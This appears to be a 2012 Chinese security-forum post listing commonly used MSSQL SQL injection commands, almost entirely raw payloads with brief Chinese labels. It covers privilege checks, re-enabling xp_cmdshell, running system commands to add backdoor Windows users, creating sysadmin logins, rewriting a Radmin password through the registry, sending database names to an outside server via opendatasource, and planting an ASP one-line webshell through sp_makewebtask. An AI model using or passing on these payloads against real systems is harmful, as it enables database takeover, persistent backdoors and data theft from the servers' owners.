找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2063|回复: 0
打印 上一主题 下一主题

常用的一些注入命令

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:40:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
//看看是什么权限的
9 j1 p+ f/ `* B/ K! L) l" _and 1=(Select IS_MEMBER('db_owner'))
4 J' n2 L. T$ @8 N! d+ g! v; wAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
) z) \& |0 r7 ~1 J3 l* B, C7 m
' T6 A# z3 q" X! C5 [; w' L//检测是否有读取某数据库的权限
( m/ B& X& {6 S( vand 1= (Select HAS_DBACCESS('master'))% H$ |* q! ]1 x% B5 Z+ P6 G
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
$ c5 @/ g; a- H$ B+ q7 T+ U6 u# p6 y3 L4 K( {* b
- ]. c( _: C& i
数字类型
1 r" f; p, N! ?9 nand char(124)%2Buser%2Bchar(124)=0
# @# g$ `) p- u% W
+ K- M/ b5 m( Z# [字符类型2 ~' n: w" f" z& ~1 y
' and char(124)%2Buser%2Bchar(124)=0 and ''='
+ N1 d3 _2 Z% f0 @# V
: t% s" `& }( C" z% V& A搜索类型% x, H: h0 y7 u  N0 D; x6 s8 y+ ]
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
6 ^9 _0 V+ x! A4 n- K/ F$ c' g( x5 ?* m- e9 u  b' r
爆用户名: N2 W( o) O+ B) D9 z
and user>0, E0 K; T. l! Z8 l5 M4 M
' and user>0 and ''='
9 {4 I) M# Y  \* I- z5 M( D9 C3 W4 ~4 C
检测是否为SA权限
, e6 m/ L" r4 R( j6 xand 1=(select IS_SRVROLEMEMBER('sysadmin'));--
$ k4 k# K: x( m8 `5 T1 D& X# cAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --+ W! \- @! w- [# n$ h; z# b

3 p) m+ A) V. |检测是不是MSSQL数据库
1 U# i$ \$ A5 t* v3 K9 O* }and exists (select * from sysobjects);--
+ {3 I! C% W! y, [) x( g) b/ o4 j+ i# l8 L  p
检测是否支持多行4 i2 v, P$ y; \! s- r( z/ i$ B) e
;declare @d int;--( C; C$ L/ h; q6 j% b- X% E* j3 K/ a
, i) l" L3 g, R& K- a6 e
恢复 xp_cmdshell
( H+ [) m8 g+ G( g' Y% I;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--) I- @! P+ j7 M* d# D3 B7 U) H

% T2 ~& k( H9 B+ G# ^6 ^
( v7 ~8 H8 S( A" l# D1 D1 D9 Mselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
8 i5 H) @. @+ o" _! q7 Z+ M# |& |& C- i, ]! X1 W& u
//-----------------------7 {2 e- W; E- Y; d& D' e
//       执行命令3 c  ^+ u/ |8 }3 c5 c
//-----------------------
) C$ p2 t+ V* d' a6 z) A首先开启沙盘模式:( B% z- h0 Q/ V- X" Z5 L& {7 Z  k3 \
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1$ l' ?5 D2 C! e; u& f' b
; d2 a/ v+ J6 ?. c; J
然后利用jet.oledb执行系统命令, H  w/ B% l, X' z3 O& s( l! J
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
# S) O# {1 h. t
9 s! _  `2 J1 X- q$ u执行命令
% U# n1 N0 ~+ D;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
0 k) X. l6 z) I3 [; @, d' F& u$ `
; [+ y; r' w5 i) q, H" ]! oEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'0 N7 q, V; o) V$ w- x
: a9 L1 [9 n- t+ T5 u! S8 b
判断xp_cmdshell扩展存储过程是否存在:8 X6 B1 j3 P1 M  a( j/ E
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
3 I+ W  y4 d5 ]7 y: W" }3 b/ g0 S! M( T
写注册表! \% W6 {' T" T, i( l
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1' X6 z9 A+ F6 ^* E. N% r( Y, }
2 f- H: R1 X& ^3 O
REG_SZ
0 v) S+ J& Z" {! U; D( n- ~; n4 w1 E
读注册表* s8 U2 v7 h- \5 F# z
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
+ h; K2 o& B0 t' a6 K# b8 z5 X% O( g9 ]( d, p& u. `
读取目录内容! M0 N8 Q5 _& m
exec master..xp_dirtree 'c:\winnt\system32\',1,13 g) v( L. _7 z& x. X
- p" q/ o7 h! ?
3 O* H* Y3 L6 p: ]# @
数据库备份# f! W5 `2 @1 R+ Y
backup database pubs to disk = 'c:\123.bak'
" Y6 M$ a, X$ E; C9 N- Q% \% N# h) d6 |) s/ q! ]$ F3 P
//爆出长度
( t4 i  e& z6 ]/ x) xAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--% N% b! r( u$ D/ z
6 u/ B. p- e$ X& B7 ?5 P+ d
: E# l4 L5 ~- i

3 K. r/ Y& c* ~6 i, }9 E2 i更改sa口令方法:用sql综合利用工具连接后,执行命令:
$ Y9 p4 b) d$ nexec sp_password NULL,'新密码','sa'  L1 ]0 X5 i& L
. c$ c# q) D% x! C& J/ x
添加和删除一个SA权限的用户test:
% w, `" q7 H2 ~; W( Aexec master.dbo.sp_addlogin test,9530772( n# A( W, v, X! V  ]
exec master.dbo.sp_addsrvrolemember test,sysadmin
8 `* |* {" n9 |' r
# D+ C2 {, j+ P, b* p* h6 T- T" `! Y删除扩展存储过过程xp_cmdshell的语句:
4 c( y3 @0 J8 `: t8 g, n, O9 Cexec sp_dropextendedproc 'xp_cmdshell'
0 b: j) S# n* k* a2 ~7 \, I( B4 A7 Z. w+ V5 t. H& f5 a; X
添加扩展存储过过程
7 n1 M0 D- H/ O1 w5 R6 p- [. y# PEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll': C* Z7 a8 H: x. t( Y
GRANT exec On xp_proxiedadata TO public
4 E, {( B$ h9 V0 i* b" m8 I5 }6 |4 f  t, O
9 X9 ~+ x- e# T2 q3 `7 s
停掉或激活某个服务。
5 o  c# `0 U) T- ]; U
- P2 V7 J9 O/ s) x' Q1 {# c- V4 ?exec master..xp_servicecontrol 'stop','schedule'
- N2 ^, C; k+ }  zexec master..xp_servicecontrol 'start','schedule'3 ^0 \* p0 h4 N: `2 l
. N  X& Y3 |  w! s" T4 E
dbo.xp_subdirs
5 g! ?- {6 {& U: f) C' ]: ^3 E0 Q' @) w- C5 s2 c
只列某个目录下的子目录。
# ~' |9 z. b2 `' z; xxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
* m, k! I/ Y4 y$ `; q3 t  l/ ~0 Q- j% w9 u5 o% R, A$ P
dbo.xp_makecab4 T7 r2 s5 Z4 k+ P- j

. O  t" ?6 q9 _1 P( q$ r8 q- ~. w将目标多个档案压缩到某个目标档案之内。- n6 D" u! j$ a# o# E
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。1 [  C8 U+ C' ^; \9 ~
: v# f" f% R  t$ F+ r
dbo.xp_makecab1 U* Y/ j. q- X
'c:\test.cab','mszip',1,* M1 ^. O1 \+ c; q5 O* ^+ p7 b& N7 z
'C:\Inetpub\wwwroot\SQLInject\login.asp',' U% V0 T2 s3 B: |  i8 @6 \5 o
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'$ G/ S7 t) Q# x& v; T

% X+ P4 }/ Q: `+ }* e' gxp_terminate_process
' W- J3 j( j3 o- Y$ Z/ V. C& W7 I2 e) _& H+ B# F/ V- z5 a
停掉某个执行中的程序,但赋予的参数是 Process ID。9 p. C: M5 ^0 E5 D/ [
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID' E9 R: p; Z# ?& j

% h6 f) r9 o( I) D, M0 F- c7 Dxp_terminate_process 2484
  A/ n6 R8 `0 T# l+ l
& F; p  G  V5 K% X' Q: Sxp_unpackcab- Q1 N7 ^# ^; m- K* Z! s
& y! _. {, `( F) |! @+ z
解开压缩档。
7 v6 z7 Z( ?  C
% i5 o5 ^8 Z0 i% E, Uxp_unpackcab 'c:\test.cab','c:\temp',1
9 o9 M1 _5 g5 ]  Z! n3 X" ?) z, g* H# Q- o& ^& m
( G6 Q: b6 J# s1 n
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为12346 T0 r6 @/ ]1 \# x& V
- t8 R5 t$ M+ Y$ p
create database lcx;
/ }% n2 X6 B( {Create TABLE ku(name nvarchar(256) null);
* ~0 n" Q+ d0 q0 gCreate TABLE biao(id int NULL,name nvarchar(256) null);7 j. {1 S1 p+ Y6 ^) R, l' b

: r) c1 ]  h: T* E: I9 h//得到数据库名
3 ^% Q' j: W- C5 binsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases( B+ u5 w# P- e8 ]9 F  u

$ f# I: L' m# H- p5 [+ f5 E$ g% y: T2 b# ~& z5 A. r- h
//在Master中创建表,看看权限怎样# l' E( |# g/ x
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
* ^2 l( E! S# z7 ~3 x0 ~! r2 c9 B! V  k, \
用 sp_makewebtask直接在web目录里写入一句话马:
' P) q/ k9 A$ b3 P: @http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--, c( R* D# l# ^; U

# [1 e2 @7 k8 h# V//更新表内容
0 q# l# p8 U0 L( zUpdate films SET kind = 'Dramatic' Where id = 123
4 m. f6 ~  L" K5 u9 C
* {/ R' V2 x/ h5 L" r, H; C& R//删除内容
/ ^( @  H& v$ W' T2 v* Pdelete from table_name where Stockid = 3
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表